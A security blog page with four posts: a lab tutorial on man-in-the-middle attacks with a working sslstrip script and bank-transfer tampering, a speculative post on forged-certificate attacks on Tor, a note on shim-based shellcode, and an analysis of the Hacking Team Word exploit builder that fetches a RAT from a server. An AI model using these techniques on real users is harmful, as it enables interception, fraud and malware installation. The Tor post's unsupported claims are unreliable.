Sina

Sina

Thursday, 22 September 2016 00:00

Man in the Middle Attacks

 

Man in the Middle Attacks

Man in the Middle (MitM) attacks (this article is based on a laboratory presented in University of Trento, Network security course, winter 2016) are attacks in which an adversary is able to intercept, manipulate, and/or forge network traffic between two communication partners due to his location between the parties. The attacker hereby transparently relays the traffic, such that both partners believe to be talking to each directly, while in reality both communicate with the adversary. An active MitM attack therefore relies on the inability (or lack of willingness) of the two parties to authenticate each other; to prevent passive MitM attacks, additional encryption of the communication channel is necessary.

Figure 1: Schematic depiction of a typical network route between a client (C2) and a server (S)

As Figure 1 shows, all devices between the two communication partners (here C2 and S) could perform a MitM attack. This typically includes the provider of the local network infrastructure (routers etc.) as well as the Internet Service Provider (ISP) of the client, as well as the backbones routing the internet traffic and possibly the ISP of the server.

Additionally, any other device connected to the same local network as the client could perform an Address Resolution Protocol (ARP) spoofing attack, imitating the router to all other machines. This way, the client will believe, for example, C1 to be the router and send all its traffic to it. C1 will then forward the traffic to the actual router and act as a MitM on the connection.

In this article, we demonstrate MitM attacks on the Hypertext Transfer Protocol (HTTP) and HTTP over Transport Layer Security (TLS), which is commonly referred to as HTTPS. Since HTTP is an unencrypted, unauthenticated protocol by design, performing a MitM attack on it is trivial given the necessary physical position between the communication partners as described above.

TLS, however, employs a two-step process to ensure the confidentiality of the communication between the two partners. In the first step, asymmetric cryptography is used to negotiate a session key, which is later used to symmetrically encrypt the communication content. For this reason, a MitM cannot simply read or manipulate HTTPS network traffic passing through it. In a later step, we will show how an attacker could try to attack the key negotiating step to perform a MitM attack, and how the TLS protocol defends against this type of attack.

 

 

MITM attack simulation configuration

To demonstrate the attacks, we set up two Virtualbox virtual machines, referred to as victim and attacker. To simplify the setup, the victim also acts as a web server hosting a faux online banking web application. The two virtual machines are connected by an internal network using static IP addresses (no DHCP server). In order to emulate a MitM attack, the victim machine connects to the online banking application using the attacker machine as a proxy (in a real-world scenario, the attacker might be any of the players described in the previous chapter). The attacker will then try to eavesdrop on the communication between the victim and the server (in this case, itself), as well as actively manipulate network traffic (see Figure 2).

Figure 2: Network setup of the virtual machines used during the lab

The victim VM (IP address 192.168.1.1) is an Ubuntu 14.04 Desktop machine. To simplify the management of the proxy settings in the browser, we installed the FoxyProxy Basic plugin for Firefox. Additionally, to serve the online banking application, we installed a classic LAMP (Linux, Apache, MySQL, PHP) stack:

sudo apt‑get install apache2

sudo apt-get install mysql‑server libapache2‑mod‑auth‑mysql php5‑mysql

sudo apt-get install php5 libapache2-mod-php5

After generating a self-signed X.509 certificate for the domains mybank.com, ssl.mybank.com and secure.mybank.com and adding security exceptions so that Firefox would accept this certificate, we added virtual host files for the three domains mentioned. Additionally, we added the hosts file to make sure these domains are resolved to localhost. Finally, we set up the web application in the /var/www/mybank.com, /var/www/ssl.mybank.com, and /var/www/secure.mybank.com directories as well as the MySQL backend database.

The attacker VM (IP address 192.168.1.2) is an Ubuntu 14.04 Server machine. In order for it to serve as a proxy, we installed mitmproxy following the official installation instructions:

sudo apt-get install python-pip python-dev libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg8-dev zlib1g-dev

sudo pip install mitmproxy

 

The credentials of the Ubuntu users used during the lab are victim/victim and attacker/attacker, respectively.

MitM attacks on HTTP

To perform a passive attack on HTTP, we start the attacker machine, log in and start mitmproxy:

mitmproxy

Subsequently, we start the victim machine, log in, open Firefox, and set the attacker as a proxy using FoxyProxy:

Figure 3: Proxy settings in FoxyProxy

Then we visit http://mybank.com and log in with user/user as credentials.

mitmproxy is an interactive console application that can be used to monitor, intercept, and manipulate HTTP traffic. By looking at the attacker machine, we should now be able to see at least three requests to the mybank.com domain, with one of them being a POST request. Using the arrow keys, we navigate to this request and open the flow detail view (mitmproxy refers to one request-response pair as a flow) via the Enter key.

In the Request view, which is opened by default, we can see the details of the POST request made to log in to the banking application, including the URL-encoded form fields which contain the credentials of the user (see Figure 4). Using the Tab key, we could also inspect the details of the response, which in this case consists of a redirect to http://mybank.com/overview.php. This example shows that any MitM can eavesdrop on unencrypted HTTP connections without any further complication, reading all information sent via this channel.

Figure 4: Flow detail view of mitmproxy showing user credentials POSTed to a login form

MitM attacks on HTTPS

As described earlier, HTTPS avoids simple MitM attacks by employing strong encryption protecting the content of the network traffic. Therefore, it is not possible to simply eavesdrop on the channel. This is why mitmproxy (and other proxy solutions) try a different technique when challenged with HTTPS connections: TLS termination. When mitmproxy notices that a client tries to establish an HTTPS connection to a server, it imitates this server to the client, while at the same time building up an encrypted connection to the actual server. If this endeavor is successful, we end up with not one encrypted connection between the client and the server, but two separate links: one between the client and the proxy, and another one between the proxy and the server (see Figure 5).

Figure 5: TLS termination

Technically, this is done as follows: mitmproxy possesses a self-signed certificate, which can be used to sign other certificates. A certificate is basically a public-private key pair with an additional “stamp” on it, certifying certain properties of the keypair – most notably, who owns the private key. Self-signed means that in this case, the owner of the certificate himself certified these properties.

When the HTTPS connection is established, mitmproxy on the fly generates a new certificate for the visited page and signs it with its root certificate, thereby pretending to be the legitimate server of the visited domain. This attack is not an attack on the encryption, but on the authentication part of the protocol.

To prevent this kind of attack – in this model, anybody can pretend to be any server in the world – TLS employs a hierarchy-based trust model. This means that any client (e.g., any browser) trusts a number of organizations, called Certification Authorities (CAs), with certifying other people’s key pairs. Since the mitmproxy certificate is not in this list of trusted CAs, the browser will not trust the connection and warn the user. In our lab setup, this can be replicated by accessing https://ssl.mybank.com both with and without the proxy enabled (see Figure 6).

Figure 6: Trusted (top) and rejected (bottom) TLS connections

sslstrip

At the moment, no effective attacks are publicly known against the current TLS version 1.2. However, a MitM can employ a number of measures to prevent a TLS connection being established in the first place. Moxie Marlinspike at Black Hat 2009 first presented this type of attack and dubbed it sslstrip. The effectiveness of sslstrip is based on the fact that the vast majority of users does not explicitly open an encrypted connection by typing https://domain.com. Instead, encrypted connections are regularly established using HTTP to HTTPS redirects (using the HTTP Location header or client-side), by links, or form action fields pointing to HTTPS locations.

What is common to all these techniques is that the establishment of an HTTPS connection is negotiated via unencrypted HTTP. This allows a MitM to modify the content sent from the server to the client, removing all references to HTTPS. This way, the client never even tries to initiate an HTTPS connection, allowing the proxy to read and modify traffic at its will. On the other side of the connection, the proxy opens an HTTPS connection to the server, since the server is expecting the client to communicate to it in encrypted form.

We use the scripting capabilities of mitmproxy to run an sslstrip attack. To this end, we stop mitmproxy (q, then y to confirm; another q might be necessary to leave the flow details view in the beginning), then change into the mitmproxy directory (cd ~/mitmproxy) and then start it again with the sslstrip.py script (mitmproxy –s sslstrip.py).

The sslstrip script (see Listing 1) contains three functions. The start function is called in the very beginning of every flow, independent of it being a request or a response. In this case, it initializes a set of domains we know to support HTTPS and possibly expect HTTPS connections. mitmproxy will establish HTTPS connections to all of those servers.

The request function is called whenever a request is intercepted. Its flow parameter allows us to tamper with all relevant parts of the request. In this case, we drop any caching-related headers to enforce a new response by the server, and force the connection to be HTTP unless it is headed to one of the domains in the HTTPS set.

The most interesting function, however, is the response function, which handles the manipulation of the server response to the client. After decoding the response content (in case compression or similar measures are in use), we first drop all HTTPS security-related headers. Then we search for new domains to be added to the HTTPS set (in form actions and HTTP Location headers), and strip all references to the HTTPS protocol, replacing them https:// by http://. Finally, we mark all cookies sent by the server as unsecure to force the browser to send them even on unencrypted connections.

The effect of this script can be observed by visiting http://ssl.mybank.com both with the proxy disabled and enabled. ssl.mybank.com’s index page is served via HTTP, however, its login form points to an HTTPS location – with the proxy enabled, this link is replaced by a simple HTTP location. This way, the client does not even know it is supposed to initiate a secure connection and will, thus, fail to do so. Unless the user specifically makes sure an HTTPS connection is established, they will not notice any difference to normal operations. Obviously, the unencrypted traffic can be inspected, intercepted, and manipulated in mitmproxy as usual.

Active Man In the Middle attacks

So far, we have used the attacker’s position as a MitM only to eavesdrop on the connection between the user and their online banking platform. Now, we want to perform an active attack, redirecting a wire transfer performed by the user to our own account. Therefore, on the victim machine, we click the “Wire transfer” link, which leads us to the respective form.

On the attacker machine, we activate a so-called interception filter, allowing us to “freeze” the connection between the client and the server, to manipulate it, and then release it once we are done. To this end, in the mitmproxy main screen, we type i and then ~q | ~s (the ~ sign can be typed using the Alt Gr and the + key next to Enter). This filter matches both requests and responses, granting us full control over the communication. The interception filter should now be displayed on the blue status line at the bottom of the mitmproxy main screen.

Now we can proceed to perform a wire transfer of an arbitrary amount from account IT9999999999 to IT0000000000. After submitting the request, it is displayed in the mitmproxy in red, indicating that it is being intercepted. When opening the flow details view of the respective request, we should see a screen similar to the one in Figure 7.

from netlib.http import decoded

import re

from six.moves import urllib

 

def start(context, argv) :

 

    #set of SSL/TLS capable hosts

    context.secure_hosts = set()

 

def request(context, flow) :

 

    flow.request.headers.pop('If-Modified-Since', None)

    flow.request.headers.pop('Cache-Control', None)

 

    flow.request.scheme = 'http'

    flow.request.port = 80

 

    #proxy connections to SSL-enabled hosts

    if flow.request.pretty_host in context.secure_hosts :

        flow.request.scheme = 'https'

        flow.request.port = 443

 

def response(context, flow) :

 

    with decoded(flow.response) :

        flow.request.headers.pop('Strict-Transport-Security', None)

        flow.request.headers.pop('Public-Key-Pins', None)

 

        #strip links in form actions

        pattern = re.compile(r"action=.{0,3}https://([^/?\"']+).*", re.MULTILINE)

        matches = pattern.search(flow.response.content)

 

        if (matches) :

            context.secure_hosts.add(matches.group(1))

 

        #strip links in response body

        flow.response.content = flow.response.content.replace('https://', 'http://')

 

        #strip links in 'Location' header

        if flow.response.headers.get('Location','').startswith('https://'):

            location = flow.response.headers['Location']

            hostname = urllib.parse.urlparse(location).hostname

            if hostname:

                context.secure_hosts.add(hostname)

            flow.response.headers['Location'] = location.replace('https://', 'http://', 1)

 

        #strip secure flag from 'Set-Cookie' headers

        cookies = flow.response.headers.get_all('Set-Cookie')

        cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]

        flow.response.headers.set_all('Set-Cookie', cookies)

Listing 1: sslstrip.py

 

Figure 7: An intercepted request in mitmproxy

Now we cannot only observe the flow details, but can also edit them to our wishes. For example, by pressing e followed by f, we can edit the values POSTed through the wire transfer form (a field can be edited by pressing Enter, editing is stopped by pressing Esc). By changing the dstAccount value to IT5555555555, we can redirect the transfer to our own account. Additionally, we can of course change the amount to be transferred (see Figure 8). By pressing q to leave the editing view and then a, we accept the request to be sent to the server.

Figure 8: A manipulated request in mitmproxy

The manipulated request has been sent to the server and the money is now on our account. However, the server presents a confirmation message to the user, detailing the amount of the transfer as well as the accounts involved. Therefore, we need to manipulate the response sent by the server, too. To this end, we press Tab to change to the “Response intercepted” view, and press e and then r to edit the raw HTML response body. After manipulating the body, we close the editor (Ctrl X), save our changes to the default location (y, Enter), and accept the manipulated response (a). By changing the respective values in the confirmation message back to their original values, we deceive the user, letting them believe their transaction was executed as intended (see Figure 9).

Figure 9: Manipulated response in Firefox (victim) and mitmproxy (attacker)

Finally, to stop the sslstrip script, we exit mitmproxy by pressing q and y, and then restart it by executing mitmproxy.

Certificate forgery

The active attack performed in the previous chapter was made possible by sslstrip, e.g., by preventing encrypted communication from taking place. Even though most users will probably not notice the difference between an encrypted and an unencrypted website due to lack of awareness and the reduction of positive feedback for HTTPS websites on part of the browsers, this attack can be spotted by an advertent user.

Another approach to breaking HTTPS connections is to trick the user into accepting a rogue root certificate. As detailed in the previous chapters, a TLS certificate’s authenticity is established by the valid signature of a trusted CA. If the MitM’s root certificate is included in the client’s list of trusted CAs, the attacker can issue valid-seeming certificates for any domain. Real-life examples of such incidents include the Lenovo Superfish scandal as well as proxy solutions employed by enterprises to monitor the internet traffic of their employees.

We are going to mimic these scenarios by manually installing the mitmproxy root certificate into Firefox’s trust store. To recall the standard behavior, we can visit https://ssl.mybank.com while the proxy is activated: Firefox confronts us with a security warning concerning the invalidity of the certificate presented by mitmproxy.

Now, we visit the “magical URL” mitm.it, which allows us to install the mitmproxy root certificate by pressing “Other”. In the following popup, we check the first checkbox reading “Trust this CA to identify websites” and confirm by clicking “OK”. If we now visit https://ssl.mybank.com, we can see that Firefox now accepts the certificate presented by mitmproxy and the page is displayed without any error messages. From now on, we can now inspect, intercept and manipulate all HTTPS traffic in mitmproxy as if it was in plain HTTP (all the actions we the first section is now possible).

Defenses against MitM attacks

Partially as a response to the sslstrip attacks developed and presented by Marlinspike, two extensions to the HTTP protocol were developed: HTTP Strict Transport Security (HSTS) and Public Key Pinning Extension for HTTP (HPKP). Apart from those mechanism, which require both a client conforming to the respective standards and support by the websites/servers visited, clients can take a number of precautions.

HTTP Strict Transport Security

HSTS is a mechanism to prevent non-encrypted connections to happen between a client and a particular domain, which has declared to accept HTTPS connections only. To this end, the browser internally stores a combination of the respective domain and an expiration time. As long as this entry is valid (current time < expiration time), the browser will automatically switch to HTTPS whenever the user tries to access the domain. If this, for some reason, is not possible, the browser will refuse to establish HTTP connections to the server, presenting the user a non-overridable error message. This way, sslstrip attacks are not feasible against domains supporting HSTS.

For this mechanism to work, the browser obviously has to be aware of the server accepting HTTPS connections and committing to keep accepting HTTPS connections for a given timeframe. There are ways to convey this information: First, the server can add a Strict-Transport-Security HTTP header to its responses; this header includes the time the server promises to support HTTPS (in seconds from the current time). However, this implies that the first connection made between the client and the server is not tampered with (Trust-on-First-Use model), since otherwise a MitM can strip out the header (as the sslstrip script shown above does).

To prevent this, the major browser vendors have agreed on a common website on which website administrators can register their website for inclusion in an HSTS preload list hardcoded into the Chrome, Firefox, Safari, Internet Explorer 11, and Edge browsers. This way, the browser will employ all restrictions described above even on the first connection attempt. Using the Strict-Transport-Security header, websites can update the expiration field stored in the browser. For example, if the website promises to support HTTPS for at least six months, and the user visits the respective website at least every six months, continuous protection against sslstrip attacks is ensured.

HTTP Public Key Pinning

HPKP, on the other hand, is a measure to prevent certificate forgery attacks. Website administrators can use the Public-Key-Pins HTTP header to send a SHA-256 hash of their public key with every response they send to clients, as well as a timeframe in the format also used by HSTS. A browser supporting this feature will store this hash and, during the validity of the entry, only accept HTTPS connections to the respective website if the hash of the certificate presented by the websites matches the stored hash. In case of a mismatch, the connection establishment is aborted and a non-overridable error message is shown to the user. This mechanism, similar to HSTS, relies on a Trust-on-First-Use model; due to the larger amount of information that needs to be stored, no browser preload is offered to common website administrators. Some browsers, however, possess a hardcoded list of a few major websites and their HPKP entries.

If the browser possesses a valid HPKP entry for a domain visited by the user, it will reject any unknown TLS certificate, even if it is issued by a trusted CA. This way, interception by a MitM is not possible even if the attacker managed to have his root certificate installed in the user’s browser. This mechanism has also been proposed to counter nation-state or similarly powerful attackers, which might be able to issue themselves valid certificates by stealing the root certificates of trusted CAs or by legally forcing them to issue rogue certificates.

Client-side precautions

As a simple user, none of the measures described above can be implemented, since they require support by the respective websites and web servers. However, every user is advised not to trust unknown networks, such as open hotspots, since the providers of these networks can easily perform any kind of MitM attacks on their users. In case of unprotected networks, even other users can perform this kind of attacks without major problems.

To prevent sslstrip attacks, users should always verify that their communication is actually transmitted in a secure fashion when they perform sensitive operations.

Similarly, they should not add security exceptions for self-signed or otherwise invalid certificates unless they are completely sure they are actually communicating with the server they intend to communicate with, for example by out-of-band transmission of the public key fingerprint. Otherwise, they risk falling victim to MitM attacks using TLS termination.

Finally, users should never add root certificates to their browser trust store unless they completely trust the owner of the certificate, since by adding the certificate, they allow that person to perform arbitrary TLS termination attacks on every HTTPS connection established in the future. When considering the number of root certificates trusted by major browsers by default, it is however questionable whether most users actually trust each and every one of these CAs in the first place…(see Figure 10).

Figure 10: CAs trusted by Firefox

 Acknowledgement

This article is based on a report written in collaboration with Jan wolf and Amit Gupta. I also would like to thank Luca Allodi for his great supervision of this work.

Thursday, 22 September 2016 00:00

How to hack Tor using a forged certificate

Illusion of privacy, Tor is hackable

The notion of having privacy is an illusion even by using the state of the art tools such as Tor. In this article I present a type of attack that governments, phone operators, ISPs, Microsoft, Google, Mozilla, Dell and many other big players can perform to spy on civilians. One might think has nothing to hide from government but the big picture is frightening. Nobody can deny that a majority of our life is recorded as data and our dependent on data gets even more accentuated every day. Putting personal privacy aside for one minute, national security is at stake; governments are starting a very dangerous game by spying on other nations in cyber world that can be as bad as nuclear war.

Trust without any question is the main problem with computer security. It's not hidden from any security expert that today the communication security heavily, if not solely, relies on Public Key Infrastructure (PKI), which is an encryption scheme. PKI on the other hand heavily relies on the trust to the Certificate Authority (CA). CA helps the internet browsers to authenticate a website identity and prevent a Man In The Middle (MITM) attack. The trust to the chain of certificate authorities though has been taken for granted; from a user point of view, the green notification on the browser guaranties end-to-end privacy while in reality the user actually delegates her trust to the CA.

Christopher Soghoian and Sid Stamm in their paper titled, “Certified Lies: Detecting and Defeating Government Interception Attacks Against SSL” introduce “compelled certificate creation attack”. Simply put, in this attack a government agency accesses the CA certificate and performs a Man In The Middle (MITM) attack that the end user can never notice. In VeriSign fraudulent Microsoft certificate in 2001 , Comodo fraudulent certificates in 2011DigiNotar scandal in 2013Lenovo pre-installed root CA certificates on the browsers and Dell preinstalled CA certificates you can see the trails of compelled certificate creation attack. I personally believe that even in StuxNet case you can find the trail of this attack. Although hash collision has been known as the source of the validity of StuxNet certificate I believe CIA politely asked CAs to give them the certificate.

If FBI bugs Apple for months for a phone encryption key, why wouldn't CIA ask CAs in other cases for a certificate?! How many CAs are not actually of government body? Some people event went further and claimed that hacking the whole internet costs 40K. If this trust chain is broken, how a new solution like Tor can ensure privacy given its reliance on PKI? Or even worse, how can one ensure privacy while using a browser built by somebody else?! Even if the browser is open source, nobody knows about the compiler! The compiler may behave maliciously and this is not a new open problem. In this article I aim to explain how in action governments may spy on civilians even if you use Tor to hide yourself.

Who are certificate authorities?

There are 651 organizations owning certificate authorities. These organizations are distributed in 52 countries. You can see all of them here. Interestingly some important players are actually government bodies. Instances are Staat der Nederlanden from Netherlands government, Government Root Certification Authority of Taiwan, Japanese Government and Government of Korea organizations. One may think that these governments can maliciously act on just their physical territories and on their own nations. However, a malicious player can compromise the whole internet. Your internet browser cannot actually authenticate if the issuer CA is actually what it shall be. Provided that, Iranian government after compromising DigiNotar security could forge certificates of google, Yahoo, Tor and much more though the original certificate issuer of these companies was not DigiNotar. That being said, if any competition between countries happen over spying on other nations Iran is in a weaker position since Iran doesn’t own any certificate authority. As a matter of fact, from my perspective, all of the 52 countries owning CAs have an upper hand over the others that don’t. To have a clearer picture of what might happen look at the example from the introduction of Christopher Soghoian and Sid Stamm’s paper.

How does Tor work?

Before jumping on the hypothetical attack over Tor users we shall first understand how Tor actually works. Tor claims to ensure anonymity. Tor achieves this by providing multiple layers of encryption. Figure 1 shows the general idea behind Tor network. By providing such architecture, neither Tor server nor any middle node in the Tor network can get anything from eavesdropping a communication. In order to achieve layers of encryption, several keys are needed. These keys are provided randomly by Tor nodes. In order to start the communication a new node needs to have the node keys. These keys are very important for the systems and they need to be communicated securely. The Tor master servers facilitate the communication to fetch the encryption keys since it’s only the master servers who can provide the trust between the endpoints. On the other hand, the user’s internet browser relies on certificate authorities in order to make sure that it is actually contacting Tor masters. The mechanism is as follows for a new node:

  1. The new node (named as Alice) initiates a connection to the master server using s TLS connection.
  2. Alice’s browser checks the validity of Tor server identity using the CA signature on the packet
  3. Over a secure encrypted connection, Tor server sends the list of nodes in the network to Alice.

After fetching the network list, Alice communicate as follows:

  1. Alice starts a secure end to end communication with some random nodes to fetch the encryption keys.
  2. Alice encrypts the packet multiple times using different keys.
  3. Alice sends the packet to the first node in the network
  4. Nodes are only aware of the nodes before and after themselves and they pass on the packet after decrypting their corresponding layer of encryption
  5. The final node passes the packet to the internet endpoint server known as Bob (or to a darkweb server in the Tor network)

Tor network architecture

Figure 1. Tor at a glance

In this stage nobody including even Bob doesn’t know where the packet originated from.

 

Compelled certificate creation attack on Tor

Tor can guarantee anonymity only if the first step is done in a secure way. In other words, if the attacker sends a list of malicious nodes to Alice, all the subsequent communications are unsecure and prone to eavesdropping. The first step on the other hand relies on TLS and as mentioned earlier, TLS relies on CA certificate. Now imagine what can happen if a certificate authority leaks its certificate and the government uses it to forge a list of malicious nodes that has control on. In order to clarify the concept, I present a hypothetical scenario and the details of the attack:

  1. Alice is an American journalist who goes to an Asian country X and wants to communicate securely with somebody over Tor. Alice starts Tor browser
  2. The X country doesn’t like what Alice does and wants to spy on her activities. The X country who owns a certificate authority forges a certificate for addons.mozzilla.org and Tor website. I used verb “forge” but it is a perfectly legitimate certificate since it’s signed by a valid CA and the browser doesn’t hesitate its validity for a second.
  3. The country X creates a network of malicious Tor nodes by simply joining them to the Tor network
  4. Using this forged-but-yet-valid certificate they run MITM attack as the ones I explained here. For this government needs the network operator (phone operator or ISP) cooperation if the government already doesn’t already control the network. History already proved how even a free country like USA spy on civilians in collaboration with network operators.
  5. Country X gives Alice browser only the list of the nodes it has control over
  6. From now on Alice just has an illusion of having privacy because everything she does is eavesdropped, decrypted and recorded

If you’re a security professional you may think this would not work due to the public key pinning enforcement in the Tor Browser. Public key pinning aims to hardcode the certificate in the browser so that country X cannot forge a certificate that is issued by another authority that country X does not control. Well you’re absolutely wrong! First, around one week ago before this post, a hacker could successfully bypass Tor public key pinning for arbitrary code execution. In theory, all the evidences suggest that it shouldn’t work if you downloaded and installed Tor in a secure way (which may not be the case, I’ll get back to this). But it does and after reading this post I am quite convinced that it is not a claim since they answered all the doubts. You can read the post on your own, here I am just going to quote that “any ‘addons.mozilla.org’ certificate that validates through any CA that is shipped with Firefox should bypass pinning restrictions and work”, Ryan Duff says. Second, public key pinning is based on Trust on First Use (TOFU). This means the attack is only possible if Alice had already used the Tor back in home and he was not hacked by her own government. What if Alice as a journalist is not safe in her own country? Yes in summary your government owns you and you don’t control your own privacy.

Can using Tor get any worse in terms of privacy?

Yes it can and it does. What I mentioned here was a threat from a nation/state authority against a specific civilian to spy on her communication but the big picture is even worse than this. Movrcx in his post says that a government can run a mass scale attack by which they can arbitrary run code on the victim machines and control their systems; yes every computer who’s using Tor in the territory of a country is under full control of the government. Thus it’s not just about what you communicate over the internet but every single piece of information that you own.

Conclusion

Our privacy is in the hands of players who you may not trust spanning from governments, phone operators and laptop manufacturers to the allegedly private certificate authorities in south Asia. The chain of trust to the public key infrastructure (PKI) is already broken and the following technologies like Tor cannot improve anything. In a short term, the vulnerability showed by Movrcx will be fixed but the problem and the attack mentioned in this article still remains. Even state of the art solutions like public key pinning does not insure your privacy as long as big players can betray your trust.

Sunday, 06 March 2016 00:00

shimming based shellcodes

Next generation rootkits | shimming based shellcodes

From my personal opinion, last year, one of the best briefings in Blackhat Europe was Sean’s work about shims. In a nutshell shims in Microsoft operating systems are for fast patching. For years nobody knew about their power for hacking until Mark Baggett discussed their usage for post exploitation in 2013. After 3 years, they are still under the radar and using it hackers can do pretty much whatever they dream. I was amazed when Sean built a simple rootkit live during the presentation. Sean’s favorite is the AV evasion and he explained the method in his Blackhat presentation. I recommend the reader to read Sean’s articles about shims.

Albeit the power of shims they have been rarely used in wild except it occurring usages to bypass windows UAC. One of the reasons is maybe the administrative privileges to run the shim. It’s unsaid that the attacker needs first to take control of the victim’s system to place the shims. In that case, shim should be used as a shellcode. Since shim by itself is just a hooking, it is not enough as a shellcode and the attacker still needs the final payload e.g. metasploit meterpreter reverse_tcp. For example in a shim based shellcode, the attacker terminates the Antivirus and then redirects execution to the next  level payload that downloads metasploit payload and returns control back to the attacker.This doesn’t seem bad at all but if you noticed this is an at least 3 stages shellcode:

-          Place the shims

-          Downloader of the meterpreter reverse_tcp shellcode

-          meterpreter reverse_tcp execution

Although it seems more difficult to implement, it is more powerful than an ordinary shellcode. First, the second stage doesn’t run exactly after the exploitation and it doesn’t raise any attention e.g. after a restart of the system when AV wants to load the second stage kicks in. Second, since your code doesn’t spawn a shell and shim by itself is not a malicious act AV evasion happens. Third you still get access in the presence of firewall by killing the antivirus. This was just a basic example of using shims in shellcodes, there are much more things that can be done by shims such as:

-          API Logging

-          Snoop network traffic

-          Dll injection

-          Hide registery keys

-          Hide a directory contents

To see all the capabilities of shims install Microsoft Application Compatibility Toolkit and run it with “-x” option.

Tuesday, 01 March 2016 00:00

Hacking Team Word 2013 exploit analysis

Hacking Team Word 2013 exploit Analysis

In this study(PDF), an exploit of hacking team affecting Microsoft office 2007, 2010 and 2013 has been assessed. The exploit itself leverages the capability of Microsoft word to render Shockwave Flash files and exploits a vulnerability of Internet Explorer ActiveX. Our reverse engineering of the SWF file (shellcode container) shows that to the best of our knowledge, this exploit is different than other analyzed Flash Player exploits. Unfortunately after 3 years in 2016, out of 54 Antiviruses just 1 is able to detect the maliciousness of the document. In other words if a user receives a malicious Microsoft word file – like the one we produced – and she has Avira, AVG, ESET-NOD032 KasperSky etc. updated to the last version, she will not be able to detect the maliciousness of the document and she probably will open it. Furthermore during our course of exploit testing we found out that this exploit can still work with 2015 flash versions (refer to Table 1(list of vulnerable flash versions to HT word 2013 exploit) for the list of vulnerable versions we found) and office Word 2013, Microsoft published an update to patch this vulnerability after HT dump went public, installed on a Windows Seven 32 bit. This vulnerability however, is patched on the last published flash player version we tested (refer to Table 1). In the rest of this report we first review our static and dynamic analysis of the exploit builder and the shellcodes and then we combine these two results. Finally we describe how to build a Microsoft Word exploit using Hacking Team published source codes.

Static Analysis

In this section we review our assessment of the exploit builder (ht-2013-002-Word\exploit.py), the bin ActiveX file (ht-2013-002-Word\resources\activeX\activeX1.bin), shellcode (ht-2013-002-Word\resources\shellcode) and the final produced swf file. Because of the coupling between these resources we analyze them altogether.

Exploit Builder

The HT word 2013 exploit comes with a builder. The builder is a pythin script, exploit.py, that integrates shellcode, payload and docx file and produces swf, dat and the malicious docx file. The final outcome of running this exploit can be anything depending on the loaded payload. The Figure 1 will show the exploit generation process:

Figure 1 (HT word 2013 exploit generation process)

Embedding Activex and ShockWaveFlash exploit

This exploit embeds an activex binary which in turn runs a shockwave flash file. The shellcode is actually in the shockwaveFlash file. To do this the builder script loads the input docx file, unpacks it, adds the required bin file and then again packs it simply using zip.exe. This is possible because of the XML media files standard that word follows.

Docx format

Docx files are actually a package of all the media files that you may see in a docx file. If you unpack the file – either by using an unpacker or changing the docx extension to zip and unzipping it – there are several files and directories in a single docx file:

doc internal files

Figure 2 (docx  file unpacked)

Explaining all the files and their details are out of the scope of this report, for further info you can refer to ISO/IEC 29500 standard, however here we explain some required parts for our analysis.

Injecting Shellcode

The ActiveX bin file will be copied into the media folder finally but in order to load and run it by Microsoft word the exploit builder updates the [Content_Types].xml (to load the components to run SWF) and rel links in the _rel/ document.xml.rels:

Hacking Team word exploit eploit.py snippet

Figure 3 (Add Activex loader component)

Finally to place the Shockwave flash file in the doc the exploit updates word/document.xml file – file which contains the body and content of the docx file – to render the swf:

Adding activex binary file that downloads swf file to the docx

Figure 4 (adding swf loader to the docx)

Preparing the ShockWaveFlash executable

The exploit has a very well-engineered design meaning that the shellcode itself is separate from the executable. In other words the shellcode file is the just the first stage to load the final payload (RAT). During the building phase, the shellcode will be inserted to the swf file. Here is how:

SWF preparation for HT word 2013 exploit

Figure 5 (exploit.py SWF preparation)

At the 1 highlighted part (Figure 5) the shellcode offset in the swf file is read and then at the second part the content of shellcode file is read. Afterwards the shellcode will be written to the swf file. After integration, the swf will be like this with the highlighted part containing the shellcode:

Hacking Team word 2013 Exploit win 32 shellcode

Figure 6 (Shellcode opcode)

There is another level of parameterization and that is reading the malware installer from the network:

 Hacking Team Word exploit shellcode parametric Remote Access Tool

Figure 7(exploit.py and shellcode parameterization)

As you can see from the 1st highlighted part, 8 bytes from the start of the shellcode file is the location of the server payload file. After inputting the RAT exe it creates a dat file with a random name and here the address of that dat file will sit. Other parameters are initialized accordingly like what you see in 2 and 3(Figure 7).

Finally the Activex binary file to execute the swf is modified so that it reads the swf file from the server – it will be inserted in 3 places :

Setting swf server address in the bin file which is part of docx

Figure 8(setting swf address)

These lines find the 3 http texts in the bin file and replace it with the server swf address:

Hacking Team word exploit activex

Figure 9 (the bin ActiveX reverse engineered)

Finally two packages by running this exploit will be prepared, one to send to the target and one swf file and a dat file for the server:

Hacking team word exploit final docx creation

Figure 10(packaging the ouput, exploit.py)

Usage

To invoke this exploit builder the user should invoke it like this:

python exploit.py payload:http %URL% "%OUTPUT%" "%FILE%" "%FILENAME%" %AGENT% %OUTPUT_SERVER% %SCOUT_NAME%.exe

 

In the following section we explain each parameter:

  • URL: is the url that will be called from the victim to download the malicious agent
  • OUTPUT: name of the zip file to generate with malicious document
  • FILE: input document to modify
  • FILENAME: name of the malicious document for the victim
  • AGENT: name or path of the RAT or Trojan to inject to the victim system
  • OUTPUT_SERVER: zip file generated for the server [contains encrypted malware and malicious swf]
  • SCOUT_NAME: Name of the RAT when will be installed on the victim machine

A practical usage of this example is reviewed in Requirements to build the exploit section.

Dynamic Analysis

Behavior analysis of the Word 2013 exploit

In this section we mainly reflect the results we got by manual dynamic analysis of the exploit (In order to learn about the exploit production and our testing environment please refer to Exploit Testing Section.) In a nutshell when the user clicks the docx file this course of actions will happen:

  • Word loads the components to run SWF file
  • Word asks internet explorer to download a SWF file
  • Victim guest downloads the swf file from the web server
  • Word gives control to installed flash to run SWF file
  • The swf file exploits a vulnerability of flash activeX and place the shellcode in memory
  • The shellcode starts to run
  • The shellcode will download the dat file
  • The dat file will be renamed to the HEYFINDME.exe (we provided this name for exploit builder)
  • It will be placed in the startup

We first started our analysis by examining the network traffic using Wireshark. Afterwards we used memory usage graph and Procmon to analyze the series of filesystem, registry, network and process events. Using the data taken from Procmon in conjunction with our previous result of static analysis we used WinDbg to dig memory.

Network traffic analysis of the Word 2013 exploit

